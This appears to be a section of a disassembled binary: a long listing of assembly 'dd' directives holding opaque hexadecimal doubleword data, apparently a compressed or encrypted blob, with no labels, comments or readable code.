dd 0C7751289h, 9960D5EAh, 6CC0F1F7h, 0E847FA8Bh, 39B2A414h
dd 7C92C73Bh, 0C0522223h, 682BF7DCh, 49BBF625h, 8A2490FBh
dd 22AA4812h, 45751C64h, 118408E7h, 0AD72FD88h, 5E6BB1FCh
dd 0BC458964h, 0FAAACB55h, 5D8922EEh, 0B6DC3D8Ch, 876718D6h
dd 0B2D2C0D7h, 4BE4DE76h, 394C907Fh, 0A3BC0B5Dh, 0B4729D4Ch
dd 1CA67C45h, 60739E5Ah, 8EF89BFh, 84442EDDh, 13C9EC50h
dd 6541BF88h, 0B5133771h, 0C8AB0972h, 6B55867Fh, 4ACC7C70h
dd 61BD4B66h, 0AC12D42h, 0A21C165Bh, 0F2F669B9h, 3719DDE6h
dd 3055AC48h, 5BC723ACh, 64224D88h, 5443023h, 7C0CA2F0h
dd 4A30D9Ah, 6A16891Bh, 623050Dh, 88A402D7h, 7578CCAEh
dd 0DC06BBF1h, 0FAB52940h, 84682C05h, 0E8BC9830h, 4744746h
dd 181D394Bh, 4A1440E9h, 0B04A07BEh, 0E81437D2h, 3649128Dh
dd 2EC514BCh, 6934D543h, 151288F6h, 4B3AA7C3h, 4361B035h
dd 0D650596Ah, 0EBD37585h, 9D345581h, 20E83841h, 74593596h
dd 111FFC3Ch, 874C7CB5h, 4E5813h, 0C803BC6Ah, 21243980h
dd 0A406B975h, 0C52BFB05h, 855F3Dh, 118A0982h, 11AB9488h
dd 614131Ah, 8820144h, 12DF3D40h, 67CC7C7Dh, 7BA5C38Ch
dd 91910D70h, 0C9785E25h, 774D325Dh, 0F997F3EEh, 0B6F513ABh
dd 2ED1555Eh, 3208E6E4h, 19923F80h, 5E085756h, 0F01BA8B6h
dd 3E38A116h, 900B977Bh, 5F5EE975h, 406A4AC4h, 0BF1201BCh
dd 0F3B54450h, 0FD10EAABh, 0D5115585h, 0EB104581h, 723294C7h
dd 27BBDDEDh, 7063E8A0h, 7F161295h, 7732EA3h, 0CC846858h
dd 98018053h, 16139876h, 0C13B425Fh, 14948399h, 311C82C1h
dd 508ADC64h, 2EC0449Bh, 240402E3h, 47933C6Bh, 0A35AC3Bh
dd 1D777318h, 0EB821A21h, 82180804h, 0B6627336h, 88044632h
dd 1C02D145h, 6918F30h, 0D81C13A2h, 62E92A5Eh, 5F1D3692h
dd 5B96428Dh, 0FBD2E3ECh, 0C7080C23h, 0B9100CA5h, 0C10700EEh
dd 8A5E02E8h, 0F3F4A680h, 0E1E40FE1h, 0C68B1D03h, 39044BC0h
dd 71741E03h, 3E1C3C16h, 0A801CBD4h, 8B8AD90Bh, 100C2351h
dd 183E9BE7h, 48400F4Ah
dd 3B644602h, 62C4C4Bh, 0E183038Fh, 89BA403Fh, 48D5109Bh
dd 3031302Ch, 0CE94E9C1h, 3E24C89h, 26270424h, 8372918Fh
dd 96360152h, 0FC276D1Dh, 30F5699Dh, 4FE2E851h, 804FAD6Eh
dd 148A197Eh, 0FAE7A031h, 0A5B89180h, 0EFF33370h, 0FA51C4BCh
dd 0E77C5981h, 3E08896Fh, 27F990D2h, 0FAB22F83h, 28FD191h
dd 0A765CD6Bh, 2DA2F918h, 30B0F559h, 0BD9E5468h, 0FA03B3A4h
dd 89055132h, 5AF1800Eh, 26D2088Ah, 47C88C1h, 0BAF6754Ah
dd 0E86CB0CAh, 0E3B8AA2h, 20014B85h, 37261F9h, 0A120E9D4h
dd 0C1DD7FE0h, 0AE0F0A94h, 16BE3641h, 0EBF8C027h, 45F7DC5Bh
dd 0BF56581Ah, 17566158h, 53308878h, 0F4C1238Ch, 0E893562h
dd 59F48E0Ch, 0AA34AC01h, 10CC002h, 0B5F6E2D4h, 0CEDF6AE2h
dd 0A80C4EABh, 70F241DBh, 524D7EADh, 0BC10246Dh, 93F4CE39h
dd 0FF550E88h, 26C65C0h, 26C2083Eh, 40060C8Dh, 45E99B6h
dd 0F7CD0180h, 44481FEh, 5B24873Ah, 9967348Dh, 18AFBD0h
dd 881CCE2Ah, 0C316D4BDh, 0D2F6F803h, 6A96D032h, 6CC2FE24h
dd 11880C86h, 297C7BA1h, 69675B5Fh, 0CFC8F050h, 1956137Dh
dd 0B75CF22h, 0C70007CFh, 198A5F99h, 0CB8CF761h, 88D55D32h
dd 0BB04DBE7h, 0C3AA3CF6h, 0CA13459Bh, 332F37Dh, 86FFEAD6h
dd 6E31F8A1h, 33AB2802h, 0D6330C7Ch, 7CA91201h, 5FC70DBEh
dd 6AF80DD6h, 0BA92F7F2h, 4A514056h, 3A6DB216h, 0D6AF56F4h
dd 0AD7F4B21h, 812E1494h, 7B6CF65Ah, 9E3963A3h, 858D41DFh
dd 301B7EDBh, 0EF903741h, 39D3025Ch, 1488B032h, 0C26F9CE8h
dd 47C70330h, 7C942075h, 0DA7B8DE5h, 0FA62928Ch, 79442334h
dd 0C048DC59h, 89E2EB4Fh, 15B0FC46h, 98044328h, 0A98753BFh
dd 0C08305E8h, 0EB1D84FCh, 0E088CF8Dh, 6D8A6F58h, 9021C70Ch
dd 0CDFD02Dh, 0DF2B1E7Eh, 0F4B85398h, 0D88B31C5h, 0FA37E40Ah
dd 62A590Ch, 0E812D088h, 8BE27C86h, 76788D2Ah, 21291B52h
dd 0F0355B11h, 2DA84CE0h, 8383E0D0h, 0C4741060h, 0C7701470h
dd 4523010Bh, 3BFF467h, 0EFCDAB89h, 0FE080E02h, 98BADCh
dd 3254760Ch, 0DCB21058h, 0D92D5DDEh, 49469269h, 0E683D885h
dd 73C04E89h, 14FAFF03h, 4FCB8B2Ch, 0BE011D0Fh, 9324C52Ch
dd 0B3FE00Bh, 8DCB0361h, 5F18A84Ch, 3BF8172Bh, 90A117DFh
dd 52EB5182h, 0E8075750h, 0C96BBA2Dh, 0D65718A5h, 0E81C0144h
dd 8324B8AFh, 0E0FBAAA5h, 0EA8B29E0h, 6EF36C1h, 10953C75h
dd 996B908Fh, 0FB52B5B3h, 0AD03ADC9h, 76557740h, 754F0FEBh
dd 0C6C553DCh, 6D1A4518h, 0B5F4AC6Bh, 6A5B31AEh, 7E9B483Fh
dd 598951E7h, 0F976D623h, 5875414h, 428002C6h, 0AC802E85h
dd 70515324h, 0E852146Ah, 5E878250h, 9618D818h, 0DE386AB3h
dd 3C2AFD28h, 5B200E49h, 0C1C50FEBh, 2A264AF8h, 64D64B5Bh
dd 2750460Bh, 0B70A2640h, 35456151h, 234F0612h, 0CE89D28h
dd 0CF4045Eh, 2F42EFFBh, 75F1CA2Ch, 1740F142h, 0D29D3D76h
dd 6AC8B523h, 0CE2E8356h, 104F3FFh, 4DB0F22Bh, 0EA939850h
dd 8EA3CC1h, 0EB071028h, 8C011E90h, 9F021018h, 0F0731763h
dd 6148D0Ch, 25106C3Bh, 0F85CD572h, 4BEE44C5h, 0B61940E4h
dd 898242BCh, 0AD131375h, 7899945Dh, 0C9F50B4h, 0F7BD3F58h
dd 3FD6E6F4h, 0D33AF223h, 890BD71Dh, 0D260F103h, 0E0F948Dh
dd 0D96AA478h, 9220CA35h, 3CE2E619h, 31F0B07h, 23D181CFh
dd 0D1D2F7F1h, 0E8D6F1D3h, 55FE0C70h, 0B48DC000h, 0C7B75616h
dd 50FFFBE8h, 63E6B2FCh, 0D1032E0Ch, 9367F2E3h, 0F947FA6Ah
dd 758C3FEFh, 23344C4h, 242070DBh, 0EE2DA8Bh, 480F9486h
dd 180B113Ch, 23AAFA03h, 0F14DCBDFh, 0F3FBC763h, 5004FE35h
dd 339C5F00h, 7DBDCEEEh, 469DFFC1h, 0AEB8C16h, 88C3032Eh
dd 0ADFE23DEh, 8FDA910Fh, 0CC5D80DFh, 3198C8Dh, 0F57C0FAFh
dd 8C40F98Bh, 0C183E18Dh, 0CEF1FE03h, 230C8087h, 0D7F7334Dh
dd 22DF91AEh, 2B4D054h, 87C62A3Ah, 14B29147h, 3C2D0C02h
dd 0D968B306h, 51D90E40h, 460BD6B8h, 0B88056D0h, 0BC038DD4h
dd 30461317h, 20F8EFA8h, 0E2E74194h, 14B2B8A8h, 6C654ADAh
dd 98AD19FBh, 3EB940D8h, 462A9501h, 0E750B7FDh, 3682EE91h
dd 5D0844B7h, 88DC0C40h, 802298D8h, 97EE5069h, 0B73E82E3h
dd 217DE042h, 14108B44h, 46A80C21h, 1C488CD4h, 0DEDF084Dh
dd 28A1CBD4h, 0A13B5E4h, 8EE05BB1h, 4F7A2DAh, 0FA19E28Ch
dd 60561DFh, 0CE49479Ah, 74CA2F69h, 0BA4A3499h, 5087F4C9h
dd 9A5CD7BEh, 91E194DDh, 0DD83EA20h, 0D7484C68h, 0D314B34Ah
dd 8CEC24D4h, 8A112289h, 19448CEBh, 283D0708h, 8924D6F1h
dd 75102255h, 0FC09486Fh, 0F0AA9D2Fh, 719382F9h, 1411FD98h
dd 9A080C02h, 4C7C2C37h, 0DBB79208h, 0E19C570Ah, 0C9BB0748h
dd 0F4EA2713h, 438E3700h, 0F8A65179h, 2735DE05h, 7FF2D109h
dd 37B8FA88h, 59435D56h, 0F807F62Ch, 0DDC05DA4h, 0EA21398Ch
dd 0E94955B4h, 0FE92F52h, 0EB40A814h, 0E2CF5123h, 6F4D2848h
dd 62413EC0h, 21F61E25h, 1BE50286h, 0DF05C087h, 0C2621913h
dd 0D840A0DFh, 83A0FADEh, 27506FEAh, 0D4112232h, 92B34023h
dd 40C644C0h, 0D820917h, 0C40D2CAEh, 8210C655h, 82E888EDh
dd 265E5A51h, 0E021211h, 0EE21BB28h, 934BFC1Ah, 9AEC7AA3h
dd 0BC752AC8h, 0C7AA0FC2h, 0F1EAE9B6h, 23E290F2h, 47D319EFh
dd 48FAC9F3h, 0D0810CE7h, 4379A97h, 0C8D62F8Eh, 5811BA2h
dd 0EDCF1405h, 47585C49h, 4E02E341h, 0A0CA64F2h, 0D318CA8h
dd 2441453h, 80D4496h, 553CE197h, 0CAEAA9E2h, 28FE5233h
dd 6EA5CF9Bh, 81E1DEF8h, 2AD8A1E6h, 97E9540Ah, 0A178E710h
dd 0B652CE61h, 49A6645Dh, 0CC892FFEh, 0A2C8A7A7h, 7263E7D3h
dd 0EA934640h, 5A9C783h, 0E04AF99Bh, 304ADDD1h, 6AE05542h
dd 135B4063h, 0E1CD16E6h, 46931A21h, 1AE39604h, 0FBEC8834h
dd 0C3DF8C33h, 5DDD49F9h, 5B49F50h, 3707D61Eh, 17B822C3h
dd 75440904h, 0EA6D508h, 0B6F45D57h, 584DC6D0h, 1087B640h
dd 88F4D50Dh, 0CA0E1012h, 0A524B5F7h, 0DA92CF9Ch, 4089E22h
dd 14ED41DCh, 0E312455Ah, 1EE99184h, 0DECD503Dh, 4B368968h
dd 98892A49h, 541F044h, 8A9E3E9h, 48DC831Bh, 89080AD6h
dd 22CE92FFh, 0C465D9Bh, 0CBB2084Dh, 802792C4h, 0A3F80F0Fh
dd 20FC42EFh, 21094117h, 6A8D32B3h, 5516D148h, 0D9166140h
dd 91676F02h, 14B0E8C3h, 884DB8D1h, 0FB24F139h, 908449Bh
dd 8AC021ECh, 69DA2A4Ch, 0BE23E682h, 33F28878h, 0FE58FA72h
dd 3B9C81EEh, 0FFED3942h, 1C28ED29h, 0B80458B9h, 0DE33FEC3h
dd 401B9494h, 0F68119D2h, 0EB888771h, 0BF7A115h, 55C8D244h
dd 92CE7233h, 0C8E854A5h, 9D611022h, 3910886Dh, 0CB5742C5h
dd 33FCC781h, 2126A0D1h, 0C0E58A8h, 25E5382Ch, 474CE1Ah
dd 141EEEB7h, 0EF581D03h, 443E0193h, 8A4BEEAh, 7304811Ch
dd 19B414Eh, 0CAF133B6h, 74CC6D69h, 0CF10A90Dh, 15884BDEh
dd 0F2200B11h, 0C1C3198h, 9AA8D933h, 9CF15D50h, 4B501F05h
dd 0B022F6BBh, 40700E10h, 7D4831AEh, 201E9038h, 701905E4h
dd 10BEBFBCh, 0EB2075A6h, 0CF9B3999h, 0F0362076h, 7EC61A04h
dd 0AC9289Bh, 0D5E3E90Dh, 55D1E30Ah, 4D0BC44h, 68A127FAh
dd 44E9D0EAh, 600A12E6h, 562680DAh, 0C81393A3h, 3085DB41h
dd 1008D4EFh, 3059C83h, 757408FBh, 0FD43D32h, 881D05A1h
dd 68E94E04h, 0F1197432h
dd 3200E036h, 0D44CD039h, 74D62809h, 9CE2E641h, 0E5EC44E8h
dd 0E6DB9911h, 0F89062E4h, 7C87E5AEh, 4A7248A2h, 0DF9585F2h
dd 21C41C09h, 0AC566595h, 0DEE326DEh, 0BCA8E941h, 820BB85Ah
dd 507692EBh, 440A0471h, 88F42922h, 6811A97h, 0CB26F763h
dd 0EC643C46h, 972ED8D3h, 432AFF10h, 0A42609Eh, 0AEE51093h
dd 0A781A959h, 8AB9423h, 360F8111h, 41724C27h, 262B21EFh
dd 0A0390429h, 0EB46FC93h, 154C3C0Bh, 4A539329h, 20968E10h
dd 19CE88DEh, 5B5912C3h, 0E3794665h, 79A9F706h, 0BA3DACDEh
dd 4924D913h, 91A98A0h, 8F0CCC92h, 0AE37C23h, 6F7CF756h
dd 0F0DA0A40h, 1E8BB529h, 470ADF7Dh, 811440Ah, 0D9DC200Fh
dd 48DE3CF1h, 0C92C0F0h, 8422D176h, 0F7EADA85h, 3CD0A14Ch
dd 82DC8878h, 6FA87E4Fh, 0E390F028h, 0A1ECF16Dh, 0F811783Ch
dd 2CE6E004h, 20F051FEh, 917887E3h, 431404D4h, 223EA301h
dd 11A108F0h, 447C4E08h, 7E3F82CCh, 0D0E4C353h, 0F2351A1Dh
dd 0A4BD3A25h, 0A08168Eh, 0D944862Ah, 2501B1D3h, 0BB16CE83h
dd 222AD7E1h, 45112086h, 0D37E420Fh, 6CB28646h, 3F86E049h
dd 0EB860791h, 0F1C4308Bh, 0F86456EDh, 89191EEFh, 0F17E481Ch
dd 0E7CAD5A6h, 288B0E3Dh, 4EB0808h, 5BCB6781h, 0C92712BBh
dd 123EE5B1h, 0F0042408h, 8D00FEA8h, 2B5E0242h, 5BB60FF2h
dd 8A828078h, 10E60170h, 8B20D59Eh, 27CA35B2h, 898909FAh
dd 0FDE2E211h, 6C7831EBh, 0F4D6722Fh, 47DAC903h, 12C2D1B5h
dd 4B55A8F0h, 0AAD3AF5h, 1124F641h, 12D7358Bh, 0A47C680Dh
dd 279D040Ch, 80C5D62Ch, 87840C2Ch, 0EAE48890h, 1C2286B3h
dd 53C453BCh, 56582AEh, 0FA034687h, 9D80100Ah, 888410E1h
dd 228844C2h, 0C728B9C6h, 64C5210Bh, 27E828C4h, 84CA610Ah
dd 6469843h, 462F4631h, 1C53472Dh, 19B2D3CBh, 0C941A71Dh
dd 0D1959CEh, 0E7CA5753h, 0A315192Ch, 0F3C0D33Ch, 554C60C8h
dd 11C181C9h, 8F880F95h, 291C95C2h, 0D144888h, 601DCA50h
dd 462734C8h, 0AFE84E23h, 7C4EBE1Dh, 0D3701560h, 0E62B69E0h
dd 0F57F9008h, 8E96C63Bh, 5D12457Ah, 97F5E8C3h, 244B58D5h
dd 88F0266Fh, 2D5FE845h, 3032F8F1h, 1C2D11D0h, 8E18680h
dd 154784B8h, 0E07E7F41h, 7E95C383h, 0E42FE532h, 0FB058377h
dd 57177603h, 2A023EC8h, 0E89689E8h, 0ECE9B706h, 754FCCEBh
dd 4A5FF030h, 60E80B76h, 6882B9Fh, 750B4B46h, 7F5B5EF5h
dd 6A7DB93Ah, 977EF04Ch, 0A53D927Ch, 0F4F74A03h, 59234722h
dd 64CEE27Ch, 0AA81C76h, 0EF421293h, 0A90919CCh, 8AB95944h
dd 8CED6BFDh, 53B7895Fh, 0BA34C5E3h, 0E3A33312h, 2A1F4D8Dh
dd 1190E322h, 441DA5DEh, 270BFDE3h, 0AAD3480Dh, 0D4F74AE2h
dd 80C589E2h, 80198ADCh, 1777FFBh, 84F63329h, 432374DBh
dd 4C5EC6CFh, 508A1EF4h, 9323482h, 18846C3h, 107F2B50h
dd 63061C25h, 754417E7h, 3877C4DFh, 0DA877639h, 0E2A97175h
dd 0A89BF57h, 0D59E8955h, 0CAA48CCh, 0B4E85E60h, 80FD874Ah
dd 6A717481h, 6819480Ch, 4852442Fh, 9F612EB5h, 5753F16Eh
dd 643F8831h, 2F404A0Ch, 0F3311864h, 0D8603E60h, 1068B29h
dd 8D2A40FFh, 0E6504246h, 70F8A344h, 45EAB4F9h, 51D881C1h
dd 2D98B72Fh, 64D85CA2h, 0E33CAB5Fh, 904FB75h, 2774BBE6h
dd 0FD91774Bh, 0A0D3A643h, 20225808h, 25BF5057h, 6A202574h
dd 0C929DE5Bh, 2D42DC2Dh, 2AC5CD69h, 0BC22FAE7h, 68286A05h
dd 7CAC5254h, 0FB8681C4h, 0FA978D37h, 7F345F9Bh, 82644385h
dd 917D7461h, 0CD402534h, 805D40C4h, 1908BD31h, 0F22B5905h
dd 4F751B98h, 3C5CBC1Eh, 0C933128Ch, 0F0E0456h, 0E349C19Eh
dd 8B41FEE1h, 0CDEBC38Bh, 50481B26h, 8C021B11h, 3ECFD7Ah
dd 1AE2EB29h, 24750204h, 0FC310322h, 0C8EB0400h, 75F25EA4h
dd 61A0A50h, 0F4B5EB88h, 9A14B5C0h, 27120422h, 0BAD35D63h
dd 5C036A89h, 287F4ADFh, 46862F57h, 0B83B48F9h, 850750C6h
dd 91EDFC26h, 1CC2B68Eh, 25B9EE2Dh, 11FF2B87h, 0A47A20B8h
dd 59D27939h, 0AC1653EBh, 24BC5302h, 79A7AF8Fh, 3B5C46E9h
dd 9CA3BB5Eh, 4AEFFC10h, 98C644FFh, 2141E5Ch, 28688211h
dd 6FD84453h, 0F465276Dh, 19271601h, 41902D5Dh, 0A16FE879h
dd 57157E2Dh, 0F2041286h, 84433522h, 0E04053Dh, 642048F4h
dd 0E6A4630h, 0F5D42226h, 1D221043h, 86B799Dh, 6A02F6D8h
dd 66FC6811h, 2907533Eh, 0ECFA4479h, 5BF413A8h, 0E33B1089h
dd 0DC6815FFh, 32E12213h, 5717D0BFh, 8CDCA243h, 9899F800h
dd 56C83FBFh, 0F1447EB8h, 0B52CA9CCh, 404ED016h, 0C8931ECh
dd 43E21D5h, 338C8085h, 2252BEBh, 889C1085h, 21039819h
dd 25C80975h, 130746B0h, 0FF89BC44h, 20DAAAC2h, 2C6342EAh
dd 0A4C34884h, 0A1220D90h, 74875991h, 260A6A13h, 0C666FF5Ah
dd 0DF47CDAAh, 0E263969Fh, 0C2378464h, 0A230532Ch, 1B238E83h
dd 0E5215684h, 84E2555Ah, 0FDE4155Ah, 284EA87Ch, 0C4234589h
dd 9B0CD940h, 448EE4E0h, 96AFD88Bh, 0F06A388Eh, 0A7A4566Bh
dd 23DF445Ah, 0ED9059B9h, 13848EB2h, 0EEC90408h, 7B647C48h
dd 24E1C452h, 0D1854D7Eh, 652C9137h, 53206A13h, 580522ECh
dd 315229A5h, 32EFFE4Fh, 593FC476h, 0FB9A4823h, 88887565h
dd 22299953h, 0A4210A02h, 2619181Bh, 62730328h, 0C43953B8h
dd 0CF019E6h, 0E27194EDh, 736781B9h, 0F2822E88h, 73452632h
dd 23441844h, 25618B59h, 0E88F2101h, 0CC2F17FFh, 5689F811h
dd 91C281F9h, 0A26E14ABh, 7274015Dh, 0D468486Ah, 0F564FEA2h
dd 0BD3E714Eh, 774F8BC2h, 33CAE81Ah, 0E84C654Eh, 6AD7A2EFh
dd 0F571A6Ah, 0E2409433h, 0F56167Dh, 2DBFD235h, 3FDB4916h
dd 68077541h, 83525854h, 88076170h, 0ECE5108h, 0FF0811C6h
dd 32A5C2B0h, 23074C6Dh, 0BCA226A1h, 0F6027525h, 0D70542AAh
dd 0BB43357Ch, 0D70F4FB3h, 580CB0CDh, 790BC22Bh, 50C38303h
dd 8F47F7DEh, 18BC3798h, 0DA2B5600h, 0CA579AE8h, 3113869Fh
dd 0F6B86860h, 876FB844h, 2A30AC27h, 0BCC18A70h, 53740854h
dd 8619E857h, 895327A0h, 0DC183D1Eh, 20BB6605h, 4C288D85h
dd 32370433h, 351144Ch, 3C26BE7Dh, 48973403h, 6A43913h
dd 653CC743h, 106822A9h, 2322518Bh, 3A10E781h, 30C77FD0h
dd 8E8D1848h, 38749394h, 822CCDF3h, 0F9E82006h, 34A357F6h
dd 82F4046Ah, 0D4294C05h, 0E2501DB7h, 0EB258651h, 32141AF3h
dd 32174868h, 11441310h, 20401207h, 56CCE851h, 0FDB53A9Fh
dd 0DE071B43h, 4E01F448h, 109006DAh, 82EA8E89h, 28840924h
dd 0B81085B4h, 7C14D0A2h, 2099818Ch, 0F87BD137h, 0CB21F91h
dd 0C78B2268h, 0A2BF5865h, 0E3CB6B1Bh, 34245779h, 90585C88h
dd 7F141077h, 89451BA6h, 90109267h, 0F6331002h, 27E49810h
dd 0B4B55956h, 4AAE9D44h, 597720F0h, 0E39DF787h, 90F49888h
dd 24B1F1B7h, 0C8D3E93Ah, 29E13B08h, 0AF68BB53h, 44E75467h
dd 885DB054h, 98358412h, 0F646924Bh, 0E97C8984h, 84E7A45Fh
dd 10D94887h, 0B155AD76h, 8E4582A5h, 10A49C68h, 104229Dh
dd 0D946892h, 0CA2098EAh, 23984368h, 68CE847Dh, 116D3290h
dd 42D2020Bh, 5D10246Fh, 98C08852h, 92E6BE88h, 162B4C20h
dd 68186A04h, 3FE48CA8h, 91442EA1h, 6815B03Ah, 2C2113C4h
dd 0F4222010h, 20CA90F0h, 85416134h, 4795F714h, 9295458h
dd 88189013h, 54F6628Ch
dd 84081C31h, 13E34586h, 2954207Ah, 16A988FFh, 58D617CDh
dd 6524422Ah, 1008D5BFh, 517C1106h, 0AA231292h, 90A40612h
dd 9482452Ah, 0C85CB220h, 0CA304E8Ah, 8E651387h, 0B18F4632h
dd 608926Ch, 91706821h, 0FA562A61h, 14E92586h, 578113D2h
dd 5912F20Dh, 0D7F82FB6h, 77F64278h, 93033BCBh, 0CDEAFD18h
dd 1D1818B9h, 0A2F34884h, 0A778681Ah, 11071639h, 0B16FC683h
dd 0E2C3145h, 53F01017h, 868A328Ah, 25A0B589h, 0E83DC7B0h
dd 0A8851A56h, 4480B215h, 4CE8794Dh, 0DF17C7Ch, 1C5B1C7Dh
dd 266A1774h, 783EC979h, 0F0E277B4h, 53FE22A4h, 3A492551h
dd 5986518Fh, 228E0A80h, 9023E832h, 62AE971Ah, 17E46E1Ah
dd 50804512h, 5F856A88h, 6A195F6Fh, 6B5641D8h, 926068F0h
dd 0B8C844C9h, 0AD15B44h, 5318E8E3h, 0BB62BB2Dh, 46C84Ch
dd 96A23C5h, 4B1DF805h, 5C0F2704h, 52F3E843h, 0C38A2800h
dd 85883404h, 152BD91Fh, 38CD7009h, 0A1491AC8h, 9318274Fh
dd 0BF817B99h, 0EA05708h, 92A47C0Dh, 65FE444Eh, 13AECA71h
dd 9DDA7BE8h, 9F86A24h, 0EF465C1Ch, 3B355968h, 0B76CD29Eh
dd 0A501A658h, 0A068E236h, 88530444h, 44202139h, 876D3899h
dd 0B1137DCBh, 10893C21h, 16E22702h, 0E50E5431h, 9D1C0F8Dh
dd 32B35FB0h, 44D1E480h, 51F8E804h, 807262FFh, 0F4888371h
dd 51E242EFh, 0F34427CEh, 115F42BCh, 0F3CA51CFh, 0F1C09138h
dd 0AA08F328h, 8043488Ah, 0F5AC20A5h, 68C18594h, 0DC230DADh
dd 22ACC014h, 0C954618h, 1C4C52BBh, 5B1086C6h, 316A3395h
dd 6D798C28h, 48BCAA9h, 0A87D0F08h, 0B0208436h, 345E420Bh
dd 42202752h, 0A81B5A68h, 845B784Eh, 702B3A50h, 682A3BA4h
dd 272C2BACh, 54E35051h, 5E2915BDh, 58102E0Ah, 920C888Ch
dd 39D8968h, 3B2997C6h, 0F69CD920h, 10FC2DF1h, 0EA53924Ah
dd 7179AF12h, 87A2871h, 2B75812Ch, 84F79A93h, 9A40748Eh
dd 2D05E106h, 0DC841C78h, 58150F52h, 517927CDh, 22C19CE4h
dd 740E292Ah, 32E0D856h, 0D7BFE39Dh, 0BFB0204Ch, 5721F55Eh
dd 4F271149h, 8FF6D09Ch, 7463525Bh, 682B145Ch, 48C8AEB0h
dd 263240A6h, 0CA8116Ch, 7C528435h, 2C680A60h, 2211135Dh
dd 5F190555h, 0A1D89D34h, 0E2150B50h, 0EC226E57h, 86AC5BE0h
dd 0A04FF520h, 86E513B2h, 0CF84588h, 0A721C6AEh, 0BB241378h
dd 4B80571h, 70122725h, 82447D53h, 0DB88147Fh, 5E390757h
dd 0DF5C893Eh, 751B3196h, 98C0FE25h, 9DB15317h, 0BEAC713h
dd 0C4E40120h, 47A176F4h, 1FA02A10h, 0FC3E4F46h, 5468CF9Ch
dd 59A01305h, 7840E061h, 0BF3B91Ch, 0BD8B0558h, 3B535411h
dd 8D8C23F8h, 5548189Ch, 0F8D3CA70h, 2C233D20h, 0A203105Ah
dd 26E91C7Ch, 0C83342A9h, 71D844DEh, 491C77D0h, 56740785h
dd 0E95FAD33h, 80304C57h, 58277C7Ch, 463D030h, 3BE85601h
dd 7637EFFBh, 51860AE5h, 0EB2D441Ch, 311F2750h, 57227519h
dd 39131D20h, 59181C19h, 0D3681340h, 8956B798h, 0FEC97E65h
dd 815171AFh, 273722C4h, 0BD947DC3h, 0B2F18DB5h, 0FF58886Fh
dd 8D2A7309h, 0EF034683h, 12F6C11Dh, 1F2D1EB3h, 8382161Dh
dd 9D5B96DAh, 0B324A185h, 21DB4C06h, 4E330C5Fh, 228B105Dh
dd 6A32242Ch, 2938264Dh, 0FA343B10h, 2A575F80h, 4528F468h
dd 66D5F20Bh, 0C681486h, 0F9101260h, 453CC84Dh, 0E7244CC4h
dd 0C868BE25h, 40111716h, 0D4265632h, 444E1829h, 23298BFAh
dd 481036C3h, 9148048Ah, 314C8AB1h, 0E27A345h, 5295C498h
dd 0FC5438D3h, 9D1A4148h, 8C075021h, 0CEC8B7EBh, 0E888FAACh
dd 3F66A46Eh, 2A5C681h, 8429DE64h, 0FC90E235h, 0A1D51CAh
dd 0CDF605C6h, 4384568h, 0BD760B61h, 995592DBh, 0CD8845Dh
dd 28AC62B2h, 0C0C4F947h, 0F85F9C1Bh, 2B52684h, 6014509Ch
dd 75A4208Ch, 709C44B7h, 5DF1B2BFh, 8C97EA53h, 754EE230h
dd 7DA332E8h, 8A977149h, 6C6438A0h, 0B4F22E50h, 214F421Ch
dd 614C08DEh, 86A850CEh, 2C211187h, 3730B18Ah, 782C3E6Ah
dd 0A862E630h, 0FF458833h, 6C6C2A91h, 150B1626h, 4174FDE8h
dd 201C45B2h, 6A0A01E0h, 396C6860h, 0BCD2E842h, 881A432Bh
dd 7C19A5B5h, 0A42E4CD0h, 74EC4285h, 80874416h, 54C7D7Fh
dd 9C5B3E69h, 0D28DA85h, 0D1010B2Fh, 86688B6Dh, 0FC8C6798h
dd 84637488h, 954B8E20h, 83B2C5E2h, 122194C4h, 2F7718FDh
dd 0F391C4B8h, 0F2A35B38h, 38121742h, 586D350Ch, 64D480E4h
dd 0BF4E4484h, 2E17CC6Ch, 80826A45h, 224B1433h, 17A6647Bh
dd 0A1275233h, 2253B2D3h, 0FA9D251Dh, 3CD64C83h, 88157944h
dd 3526ABFh, 84C6918Fh, 242273CDh, 772662DFh, 1E876C4Eh
dd 0CC2AF10h, 0D4B2A6E9h, 3888C0DDh, 0FFF0A5Dh, 70D99785h
dd 2089FB28h, 41B5994Ch, 0BEA36E4Ah, 0BB44FB4Ah, 0BCE8FBAEh
dd 357DB3A3h, 62F37557h, 87964536h, 2DEDE822h, 0D4FD19B4h
dd 68A3FAD4h, 0E85ED946h, 3F668CA2h, 5F5D5F01h, 0F84D8266h
dd 0CAB1EB75h, 4B6A52A8h, 0CE627B28h, 3CA35304h, 7207732Ch
dd 8226C7Ah, 4A922122h, 88039749h, 0E5F8FDF8h, 18478417h
dd 0DC62A321h, 72A13064h, 97EA6088h, 9253E631h, 2928DD85h
dd 277242DFh, 6C37441Ch, 0A12736Ah, 614486F2h, 1BD1A80h
dd 5DF36DEh, 1A8B5450h, 10654676h, 45D07252h, 421E9AA2h
dd 24EC9F25h, 8C661458h, 88381A57h, 1ED7862h, 0A5E4798Eh
dd 1BD7987Dh, 69C8306Ah, 0F4680DEDh, 24006891h, 70694449h
dd 6241B46Ah, 0BC2E6544h, 0BAE0FE12h, 83300B48h, 335F09C0h
dd 25462154h, 914D243Fh, 7148D509h, 6808BD35h, 0F82D6728h
dd 324E837Dh, 832FBE72h, 0D901300Ch, 0BFC723Bh, 451FFB2Ah
dd 24CF549Fh, 5AAF317Ch, 0AC440871h, 0C35356C2h, 53149F2Ah
dd 2A21C310h, 14682144h, 2468E284h, 0C2056734h, 213E7115h
dd 0BCCF715Dh, 21DF9C23h, 140BD2E7h, 454CEBD4h, 0C87047D0h
dd 0AA37918h, 8D449A23h, 0F811FBF6h, 89411EDh, 0A595E81Dh
dd 9EB69B57h, 0A63055B4h, 4408837Ah, 697831CCh, 97275809h
dd 42F6475Eh, 75CB7748h, 6C282211h, 477E8464h, 2A803159h
dd 50ACC14Fh, 10476B84h, 9B22E463h, 8AC9524h, 3444706Ch
dd 0AD2EF1CDh, 4A250F5h, 3259B7CEh, 0F830CDEBh, 0EAAFCF6h
dd 39E00675h, 760C171Eh, 10D8B026h, 7CB0FA9Dh, 4E06738Ah
dd 0C066F0C1h, 3ABC60DDh, 88397241h, 142130Ah, 3B18031Dh
dd 97DE724Dh, 8569C47Ch, 3A9230EEh, 0ECE0F557h, 1330F4Dh
dd 0B06552EBh, 9F5D8BFEh, 2C09ACD0h, 57184B8Dh, 2F14A306h
dd 332A0265h, 243A70Bh, 571C5D30h, 0EB1415E0h, 83061250h
dd 0FD59ACD9h, 0C61C148Fh, 960133A7h, 504D24B7h, 63E82611h
